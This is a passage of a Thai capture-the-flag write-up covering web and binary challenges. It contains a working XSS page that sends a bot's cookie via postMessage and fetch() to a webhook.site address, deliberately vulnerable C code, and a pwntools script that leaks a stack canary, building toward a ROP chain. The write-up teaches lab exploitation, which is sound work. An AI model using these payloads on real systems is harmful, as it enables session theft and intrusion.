&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*6yvG_CCU3TkCVYUd5fuUIA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;เราสามารถ View Profile ใครก็ได้ แต่มีคนคนนึงที่เราไม่สามารถ view ได้ ก็คือนาย Somchai Jaidee&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*2XUXCjSb3HA_soXGQpI9FQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1060/format:webp/1*ggFBTTsxZ7JVu6tWuYQuLQ.png&quot; alt=&quot;ในหัว&quot; /&gt;&lt;/p&gt;
&lt;p&gt;จากนั้นเข้าไปดู view-source แล้วเจอ api จะๆ สำหรับดูข้อมูล&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*YRj7pkc5xDg3tx6_hTxGnA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;เลยเปิดไปที่ &lt;a href=&quot;http://34.21.136.202:5000/api/participant/1/qr-badge&quot;&gt;http://34.21.136.202:5000/api/participant/1/qr-badge&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*fOI2tCtFEoEQO91H3ppQRA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;เราก็จะเจอ Flag ใน “staff_notes”&lt;/p&gt;
&lt;p&gt;🎉🎉 web{iDaxFwXhaV}&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;3. vlogstar&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*dF5E-2UkhussPpJcF_UY7Q.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;รู้สึกเหมือนว่าข้อนี้จะเป็นข้อที่คนทำได้น้อยสุดในหมวดเว็บด้วยนะ (แอบภูมิใจ5555)&lt;/p&gt;
&lt;p&gt;แตกไฟล์ก็จะได้ bot.js server.js และ folder “public”&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*ANftKQe9Ul1_xMicWn7eCg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ใน folder public ก็จะมีไฟล์นิดๆ&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*PlyIbFKTUxmJjfpAV8YoGA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*OFstz24E_-PqQObfsWKaCg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ก่อนจะดู source-code เรามาดูเว็บกันก่อน&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*3xTVpDtvOAfOkMwn-x-LDA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;โดยเว็บจะอนุญาตให้เราใส่ url website ลงไป แล้วบอทจะไปเปิด url ที่เราส่งไป&lt;/p&gt;
&lt;p&gt;หวานเจี๊ยบ สันนิษฐานว่าเราอาจจะโจมตีผ่านช่อง input นี้&lt;/p&gt;
&lt;p&gt;เราไปดู source-code กันบ้างดีกว่า จากการทำงานของ bot.js เวลาเปิด url ของเรามันก็จะสร้าง cookie ที่มี value เป็น flag ในเว็บของ labs (ก็คือ CHALLENGE_HOST นั่นเอง (localhost:3000) )&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*gkSr4Gbqn1bji_H-AMdRBQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*O9CRXXW_4xVTyKKsOgH8Rg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;(httpOnly เป็น flase ก็หวานเจี๊ยบ เพราะมันหมายความว่า เราสามารถใช้ js อ่าน cookie ได้)&lt;/p&gt;
&lt;p&gt;อีกอย่าง เว็บไซต์เป้าหมายเปิดรับ request จาก postMessage อีกด้วย (app.js) ถ้า content ของ request ผ่านการกรองอะไรหมดแล้วนั้น ก็จะถูกยัดเข้า OVERLAY_CONTAINER.innerHTML นั่นหมายความว่าเราสามารถยัด js เพื่อขโมยคุกกี้ได้ (DOM XSS)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*2sIh2ixFeK8AcM6RWnEU-w.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;โดยข้อจำกัดที่เราต้องดูคือ&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Html allowed tags&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*Utm79hycaGgT2Moc2L2xWQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;sanitize overlay html&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*92wevgP2SQ3CELA4qJI3tg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;data-type&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*hGHa8gWQ-XG3wD5JWcF3dQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;สิ่งที่เราจะทำคือสร้างเว็บไซต์สำหรับขโมยคุกกี้ โดย web host ที่จะให้เว็บเรา online สามารถใช้ได้ทั้ง github หรือ vercel ได้เลย&lt;/p&gt;
&lt;p&gt;การทำงานของเว็บที่จะไปขโมยคุกกี้ ที่เราต้องสร้างคือ&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;เปิดแท็บใหม่ (ไม่ใช่ navigate เพราะถ้าเว็บเราถูกปิด JS payload ของเราจะไม่ทำงาน)&lt;/li&gt;
&lt;li&gt;ส่ง payload ผ่าน postMessage ไปที่ localhost:3000 เพื่อขโมยคุกกี้&lt;/li&gt;
&lt;li&gt;ให้ payload ส่งคุกกี้กลับมาหาเราผ่าน webhook (&lt;a href=&quot;https://webhook.site&quot;&gt;webhook.site&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;และนี่คือเว็บที่มี payload ของเราไว้ด้วย เปิดปุ๊บคุกกี้ส่งปั๊บ5555&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;RachaHacker&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;h1&amp;gt;RachaHacker&amp;lt;/h1&amp;gt;
    &amp;lt;script&amp;gt;
        const targetUrl = &quot;http://localhost:3000/video.html?v=2&quot;;
        const webhook = &quot;https://webhook.site/54aa2054-094c-4d05-a576-7f7da33d4a78&quot;;
        const target = window.open(targetUrl, &apos;exploit&apos;);
        function sendPayload() {
            const payload = {
                type: &apos;overlay-update&apos;,
                content: `&amp;lt;img/src=&quot;x&quot;/onerror=&quot;fetch(&apos;${webhook}?c=&apos;+encodeURIComponent(document.cookie)+&apos;&amp;amp;info=pwned&apos;)&quot;&amp;gt;`
            };
            // ไอ่ info=pwned เอาไว้กันเหนี่ยวเผื่อมันส่งมาแต่คุกกี้ไม่มาด้วย5555 จะได้คาดเดาปัญหาได้ง่ายขึ้น
            target.postMessage(JSON.stringify(payload), &apos;*&apos;);
        }
        setTimeout(sendPayload, 2000);
        setTimeout(sendPayload, 4000);
        fetch(webhook + &quot;?status=rachahacker&quot;); // ให้มันส่งมาแจ้งเตือนเฉยๆว่าบอทมัน visit แล้ว
    &amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;payload -&amp;gt; bot -&amp;gt; (check-type) -&amp;gt; (content sanitizer) -&amp;gt; (ยัด Html เข้า DOM)&lt;/p&gt;
&lt;p&gt;พร้อมแล้วก็ส่ง url ไปเลย และก้ &lt;strong&gt;jackpotttt!!!🎰🎰🎰🕺&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*AoW_LurPP2AMH7tJwKpkuA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:852/format:webp/1*iodpt1G-W2EcgQ8XkVwTXg.gif&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;🎉🎉 web{8rW07sakwm} 🎰🎰🎰🕺&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;4. Fortress Leak&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*RI70aJUK3LKXjxtZ0yAKUg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;สารจากฉัน: “ข้อนี้ผมไม่ได้แคปรูประหว่างทำ (หลังจากส่ง flag ตัว lab ก็จะ terminate อัตโนมัติ ทำให้กลับไปทำอีกรอบไม่ได้) writeup ข้อนี้เลยจะเป็นการเล่นกับเครื่องตัวเองเป็นหลักนะคับ&lt;/p&gt;
&lt;p&gt;โหลดไฟล์ก่อนเลย ใน file zip ก็จะมี folder ชื่อ dist cd เข้ามาก็จะมี 4 ไฟล์&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*3n6TtlXRe676JF9oIdGUsg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;เราลองมาเล่นโปรแกรมกันก่อนละกัน&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*lg4g1TLBcF32l7KRVBIPjQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ก็เป็นโปรแกรม เก็บ/ส่งข้อความ และสามารถ preview ข้อความที่เก็บได้&lt;/p&gt;
&lt;p&gt;ลองไปหาช่องโหว่ใน vuln.c กันบ้างดีกว่า&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
void setup(void) {
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);
}
// Helper for ROP gadgets (gcc 11+ doesn&apos;t generate __libc_csu_init)
void __attribute__((used)) gadgets(void) {
    __asm__ volatile (
        &quot;pop %rdi; ret\n&quot;
    );
}
void menu(void) {
    puts(&quot;\n[1] Store message&quot;);
    puts(&quot;[2] Preview message&quot;);
    puts(&quot;[3] Send message&quot;);
    puts(&quot;[4] Exit&quot;);
    printf(&quot;&amp;gt; &quot;);
}
void vault(void) {
    char msg[128];
    int choice;
    puts(&quot;\n=== Secure Message Vault ===&quot;);
    while (1) {
        menu();
        if (scanf(&quot;%d&quot;, &amp;amp;choice) != 1) {
            while (getchar() != &apos;\n&apos;);
            continue;
        }
        getchar();
        switch (choice) {
            case 1: {
                // Store message — safe read
                printf(&quot;Enter message: &quot;);
                memset(msg, 0, sizeof(msg));
                read(0, msg, 127);
                puts(&quot;[+] Message stored.&quot;);
                break;
            }
            case 2: {
                // Preview message — FORMAT STRING vulnerability
                // Bug: uses printf(msg) instead of printf(&quot;%s&quot;, msg)
                // Player can use %p to leak canary, PIE addresses, libc addresses
                if (msg[0] == &apos;\0&apos;) {
                    puts(&quot;[-] No message stored.&quot;);
                    break;
                }
                puts(&quot;[*] Preview:&quot;);
                printf(msg);
                puts(&quot;&quot;);
                break;
            }
            case 3: {
                // Send message — BUFFER OVERFLOW
                // Reads up to 512 bytes into 128-byte buffer
                puts(&quot;[*] Preparing to send...&quot;);
                printf(&quot;Enter final message: &quot;);
                read(0, msg, 512);
                puts(&quot;[+] Message sent!&quot;);
                return;
            }
            case 4:
                puts(&quot;[*] Goodbye.&quot;);
                exit(0);
            default:
                puts(&quot;[-] Invalid option.&quot;);
                break;
        }
    }
}
int main(void) {
    setup();
    puts(&quot;========================================&quot;);
    puts(&quot;   FORTRESS LEAK v4.0                   &quot;);
    puts(&quot;   Hardened Message Vault                &quot;);
    puts(&quot;========================================&quot;);
    vault();
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;จุดที่ 1 &lt;strong&gt;Format String Vulnerability&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;case 2: {
                // Preview message — FORMAT STRING vulnerability
                // Bug: uses printf(msg) instead of printf(&quot;%s&quot;, msg)
                // Player can use %p to leak canary, PIE addresses, libc addresses
                if (msg[0] == &apos;\0&apos;) {
                    puts(&quot;[-] No message stored.&quot;);
                    break;
                }
                puts(&quot;[*] Preview:&quot;);
                printf(msg); // &amp;lt;--- จุดนี้
                puts(&quot;&quot;);
                break;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;เราสามารถใส่ %p %p %p %p ขณะ Store Message แล้ว preview ออกมาเพื่อดูค่า leak ใน stack ,register, cannary, function (address) หรือข้อมูลสำคัญอื่นๆได้&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*EFrNwR4w37yNECjHAh-iFA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;จุดที่ 2 &lt;strong&gt;Buffer Overflow&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:802/format:webp/1*9Lwa-956A0hXVnKL7YXV1g.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;case 3: {
                // Send message — BUFFER OVERFLOW
                // Reads up to 512 bytes into 128-byte buffer
                puts(&quot;[*] Preparing to send...&quot;);
                printf(&quot;Enter final message: &quot;);
                read(0, msg, 512); // &amp;lt;--- จุดนี้
                puts(&quot;[+] Message sent!&quot;);
                return;
            }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;msg ได้จองพื้นที่บน stack 128 bytes แต่ใน case 3 บอกว่ารับได้ 512 bytes ซึ่งเกินมา 384 bytes&lt;/p&gt;
&lt;p&gt;ลอง checksec ดูว่ามี protection อะไรบ้าง&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*6HuZgS29ZOlPGxL_ZPpUPw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ปัญหายังมีเรื่อง Canary, PIE, ASLR + NX แต่ก็แก้ได้เพราะมี &lt;strong&gt;format string vulnerability&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;objective:&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;ขณะที่ยัด payload เราต้องกะ canary ให้พอดี ถ้าขาดหรือเกิน 1 byte โปรแกรมก็จะ crash&lt;/p&gt;
&lt;p&gt;จะโจมตีแบบ ROP Chain โดยจะใส่ address ของ /bin/sh ลงไปใน register rdi (pop rdi;) จากนั้นก็ดึงค่าถัดไปจาก stack มาใส่ใน rip เพื่อให้ cpu ก็กระโดดไปทำงานที่ address นั้นต่อ (ret)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;แล้วเราก็จะได้ shell 😈&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;ก่อนที่เราจะสร้าง payload เราต้องเข้าใจ stack กันก่อน&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*2csSvam4fHwS5HpMYvMjhQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;นี่ไงๆ ผมทำสวยมั้ยย 😎&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;หลักการก็คล้ายๆกับ buffer overflow เลย จัด payload ให้พร้อมแล้วส่ง จากนั้น payload ก็ไปทับส่วนต่างๆในโปรแกรม&lt;/p&gt;
&lt;p&gt;แต่แค่แตกต่างจาก bof ปกติตรงที่ว่า &lt;strong&gt;มันยากกว่าเดิมมาก5555&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;เรามาเริ่มต้นด้วยการหาตำแหน่ง offset ของ canary, PIE, libc กันก่อนดีกว่า โดยใช้ช่องโหว่ format string vul&lt;/p&gt;
&lt;p&gt;อันดับแรกเราจะใช้ option 1 (Store message) จากนั้นพิมพ์ไปว่า:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;%1$p.%2$p.%3$p.%4$p.%5$p.%6$p.%7$p.%8$p
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;แล้วก็ option 2 (Preview message) &amp;amp; enter เราก็จะได้ leak address ต่างๆมา&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[*] Preview:
0x7814f8a04643.(nil).0x7814f891c5a4.0xc.(ncil).0xa.0x2f8a045c0.0x2432252e70243125
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Question: แล้วเราจะรู้ได้ยังไงว่า address ที่ได้มาคือ canary, PIE หรือ libc&lt;/p&gt;
&lt;p&gt;Answer: ดูจากจุดสังเกต ตามด้านล่างเลย&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;canary → ลงท้ายด้วย 00 เช่น 0x40db855482f1fa00&lt;/li&gt;
&lt;li&gt;PIE → ขึ้นต้นด้วย 0x55 หรือ 0x56&lt;/li&gt;
&lt;li&gt;libc → ขึ้นต้นด้วย 0x7f&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;สุมุติเราส่ง %8$p แล้วได้ “0x2432252e70243125” มา สิ่งนี้จะเรียกว่า address และ “%8$p” (ตำแหน่ง 8) จะเรียกว่า offset&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;หากเราลองเอา 0x2432252e70243125 ไปแปลงเป็น ASCII เราจะได้ “&lt;strong&gt;$2%.p$1%”&lt;/strong&gt; ซึ่งมันคือเงาสะท้อน (Endianness) ของ input ที่เราส่งไป (%1$p.%2$p) มันเป็นหลักฐานว่า input ของเราได้ลงไปนอนใน stack เรียบร้อย โดยอยู่ที่ตำแหน่ง (offset) ที่ 8&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1032/format:webp/1*yagw5yblmAjahgQYxxBAQw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;โอเครร เรามาหา offset กันต่อดีกว่า แต่ปัญหาก็คือเราต้องพิมพ์ตัวเลขทีละอันใน input แล้วก็ preview เรื่อยๆคงลำบาก เราเลยจะใช้ script เพื่อหา offset กัน&lt;/p&gt;
&lt;p&gt;script:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
context.arch = &apos;amd64&apos;
context.log_level = &apos;error&apos; 
def try_offset(n):
    p = process(&apos;./vuln&apos;)
    
    p.sendlineafter(b&apos;&amp;gt; &apos;, b&apos;1&apos;)
    p.sendafter(b&apos;Enter message: &apos;, f&apos;%{n}$p&apos;.encode())
    
    # preview
    p.sendlineafter(b&apos;&amp;gt; &apos;, b&apos;2&apos;)
    p.recvuntil(b&apos;[*] Preview:\n&apos;)
    leak = p.recvline().strip().decode()
    
    p.close()
    return leak
print(f&quot;{&apos;Offset&apos;:&amp;lt;8} {&apos;Value&apos;:&amp;lt;20} {&apos;Note&apos;}&quot;)
print(&apos;-&apos; * 50)
for i in range(1, 40):
    val = try_offset(i)
    note = &apos;&apos;
    
    if val != &apos;(nil)&apos; and val.startswith(&apos;0x&apos;):
        v = int(val, 16)
        if v &amp;amp; 0xff == 0 and v &amp;gt; 0x10000000000:
            note = &apos;← CANARY&apos;
        elif 0x7f0000000000 &amp;lt;= v &amp;lt;= 0x7fffffffffff:
            if v &amp;gt; 0x7fff00000000:
                note = &apos;← STACK addr&apos;
            else:
                note = &apos;← LIBC / ld addr&apos;
        elif 0x5500000000 &amp;lt;= v &amp;lt;= 0x56ffffffffff:
            note = &apos;← PIE addr&apos;
    
    print(f&apos;%{i:&amp;lt;7} {val:&amp;lt;20} {note}&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;นี่คือ result&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Offset   Value                Note
--------------------------------------------------
%1       0x7addb3a04643
%2       (nil)
%3       0x79f27451c5a4
%4       0xc
%5       (nil)
%6       0xa
%7       0x2a6e045c0
%8       0x70243825
%9       (nil)
%10      (nil)
%11      (nil)
%12      (nil)
%13      (nil)
%14      (nil)
%15      (nil)
%16      (nil)
%17      (nil)
%18      (nil)
%19      (nil)
%20      (nil)
%21      (nil)
%22      (nil)
%23      (nil)
%24      0x61bd57518d80
%25      0xa2453e3641d9ab00   ← CANARY
%26      0x7fff2f263060       ← STACK addr
%27      0x5b743d8575b3
%28      0x7fff2d935980       ← STACK addr
%29      0xd04fbb2e09047000   ← CANARY
%30      0x7ffe577a8ab0       ← LIBC / ld addr
%31      0x72594bc2a1ca
%32      0x7ffe8e4ed4b0       ← LIBC / ld addr
%33      0x7ffcfc45f168       ← LIBC / ld addr
%34      0x1719c7040
%35      0x56d6790fd552       ← PIE addr
%36      0x7fff58634918       ← STACK addr
%37      0x4301d2abac17658c
%38      0x1
%39      (nil)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;สะดวกขึ้นเย๊อะะะ ถ้าหากเราลองรันหลายๆรอบแล้วดู result แต่ละรอบ จะเห็นได้เลยว่าแต่ละครั้ง ค่า address จะไม่ซ้ำกันเลย (ผลของ ASLR)&lt;/p&gt;
&lt;p&gt;จาก result ของเรา เราจะได้ offset คร่าวๆ (ไม่แม่น 100% บางค่าอาจไม่เหมือนตามจุดสังเกต ต้องอาศัยการ verify offset ว่าได้ผลหรือไม่)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# นี่คือ offset ที่ผมทดสอบแล้วได้ผล
CANARY_OFFSET  = 25  
PIE_OFFSET     = 27 
LIBC_OFFSET    = 31  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ถ้าจำ objective ของเราได้ เราจะโจมตีแบบ ROP Chain ซึ่งส่วนประกอบของ ROP chain payload ประกอบด้วย :&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ret_gadget, # ได้จาก pie_base + RET offset &amp;lt;ret&amp;gt;
pop_rdi, # ได้จาก pie_base  + POP_RDI_RET offset &amp;lt;rop rdi&amp;gt;
binsh_addr, # ได้จาก libc_base + next(libc.search(b&quot;/bin/sh&quot;))
system_addr, # ได้จาก libc_base + libc.symbols[&quot;system&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ส่วนประกอบก็เยอะ เราต้องหาทีละส่วน เริ่มจากหา offset ของ &amp;lt;rop rdi; ret&amp;gt; กันก่อน โดยหา assembly ที่มีคำสั่ง &amp;lt;rop rdi; ret&amp;gt; สามารถใช้ command นี้ได้เลย&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ROPgadget --binary ./vuln | grep &quot;pop rdi ; ret&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;จะเห็นว่ามันจะอยู่ที่ 0x12d2&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*hyzLJW0Ot4oZRfEj8a7dkg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;🌟 received : &amp;lt;pop rdi&amp;gt; offset&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;ถ้าเปรียบ &amp;lt;pop rdi;&amp;gt; คือมือที่หยิบ /bin/sh ไปวางบน register rdi, &amp;lt;ret&amp;gt; คงเป็นตัวบอก cpu ว่าต้องไปรันคำสั่งที่ไหนต่อ และเราจะให้มันรัน /bin/sh ของเรา&lt;/p&gt;
&lt;p&gt;งั้นมาหา offset ของ &amp;lt;ret&amp;gt; ของเรากันดีกว่า&lt;/p&gt;
&lt;p&gt;แต่โชคดี จากที่เราเจอ &amp;lt;rop rdi;&amp;gt; มันมี &amp;lt;ret&amp;gt; ติดข้างหลังมาด้วย ( ; หมายความว่า มันจะทำงานต่อกัน) แสดงว่า address มันอยู่ติดกัน (ROPgadget เห็นว่ามันทำงานต่อกัน เลยแสดง address เพียงอันเดียว) เพื่อ offset ที่ชัดเจนกว่านี้ เราจะเข้า gdb ไปดูโดยอ้างอิงจาก 0x12d2&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gdb ./vuln
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ใช้คำสั่ง info function เพื่อดู address ของ function&lt;/p&gt;
&lt;p&gt;address ของ &amp;lt;pop rdi;&amp;gt; มันอยู่ 0x12d2 เลขที่ใกล้เคียงก็คือ function gadget ที่อยู่ address 0x12b7&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) info function
All defined functions:
Non-debugging symbols:
0x0000000000001000  _init
0x00000000000010c0  __cxa_finalize@plt
0x00000000000010d0  puts@plt
0x00000000000010e0  __stack_chk_fail@plt
0x00000000000010f0  setbuf@plt
0x0000000000001100  printf@plt
0x0000000000001110  memset@plt
0x0000000000001120  read@plt
0x0000000000001130  getchar@plt
0x0000000000001140  __isoc99_scanf@plt
0x0000000000001150  exit@plt
0x0000000000001160  _start
0x0000000000001190  deregister_tm_clones
0x00000000000011c0  register_tm_clones
0x0000000000001200  __do_global_dtors_aux
0x0000000000001240  frame_dummy
0x0000000000001249  setup
0x00000000000012b7  gadgets
0x00000000000012eb  menu
0x000000000000136d  vault
0x0000000000001552  main
0x00000000000015d0  _fini
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;พิมพ์ว่า disass gadgets เพื่อดู assembly&lt;/p&gt;
&lt;p&gt;จะเห็นเลยว่า &amp;lt;ret&amp;gt; อยู่ติดกับ &amp;lt;pop rdi&amp;gt; จริงๆด้วย นั่นคือ 0x12d3&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) disass gadgets
Dump of assembler code for function gadgets:
   0x00000000000012b7 &amp;lt;+0&amp;gt;:     endbr64
   0x00000000000012bb &amp;lt;+4&amp;gt;:     push   %rbp
   0x00000000000012bc &amp;lt;+5&amp;gt;:     mov    %rsp,%rbp
   0x00000000000012bf &amp;lt;+8&amp;gt;:     sub    $0x10,%rsp
   0x00000000000012c3 &amp;lt;+12&amp;gt;:    mov    %fs:0x28,%rax
   0x00000000000012cc &amp;lt;+21&amp;gt;:    mov    %rax,-0x8(%rbp)
   0x00000000000012d0 &amp;lt;+25&amp;gt;:    xor    %eax,%eax
   0x00000000000012d2 &amp;lt;+27&amp;gt;:    pop    %rdi
   0x00000000000012d3 &amp;lt;+28&amp;gt;:    ret
   0x00000000000012d4 &amp;lt;+29&amp;gt;:    nop
   0x00000000000012d5 &amp;lt;+30&amp;gt;:    mov    -0x8(%rbp),%rax
   0x00000000000012d9 &amp;lt;+34&amp;gt;:    sub    %fs:0x28,%rax
   0x00000000000012e2 &amp;lt;+43&amp;gt;:    je     0x12e9 &amp;lt;gadgets+50&amp;gt;
   0x00000000000012e4 &amp;lt;+45&amp;gt;:    call   0x10e0 &amp;lt;__stack_chk_fail@plt&amp;gt;
   0x00000000000012e9 &amp;lt;+50&amp;gt;:    leave
   0x00000000000012ea &amp;lt;+51&amp;gt;:    ret
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;🌟 received : &amp;lt;ret&amp;gt; offset&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;ต่อไปเรามาหาค่า PIE base กันดีกว่า (เพราะเราจะ craft ret_gadget &amp;amp; pop_rdi)&lt;/p&gt;
&lt;p&gt;โดยได้จาก เอา offset ของ pie (%27$p) นำไป leak address ออกมา แล้วลบด้วย offset ของ call.*vault (ที่เรียก address มาโหลด)&lt;/p&gt;
&lt;p&gt;ใช้คำสั่ง&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;objdump -d ./vuln | grep -A3 &quot;call.*vault&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;    15ae:       e8 ba fd ff ff          call   136d &amp;lt;vault&amp;gt;
    15b3:       b8 00 00 00 00          mov    $0x0,%eax
    15b8:       48 8b 55 f8             mov    -0x8(%rbp),%rdx
    15bc:       64 48 2b 14 25 28 00    sub    %fs:0x28,%rdx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;เราจะใช้ 0x15b3 เพราะ instrcution ถัดจาก call คือ offset ที่แท้จริง&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;pie_base = pie_leak — 0x15b3&lt;/p&gt;
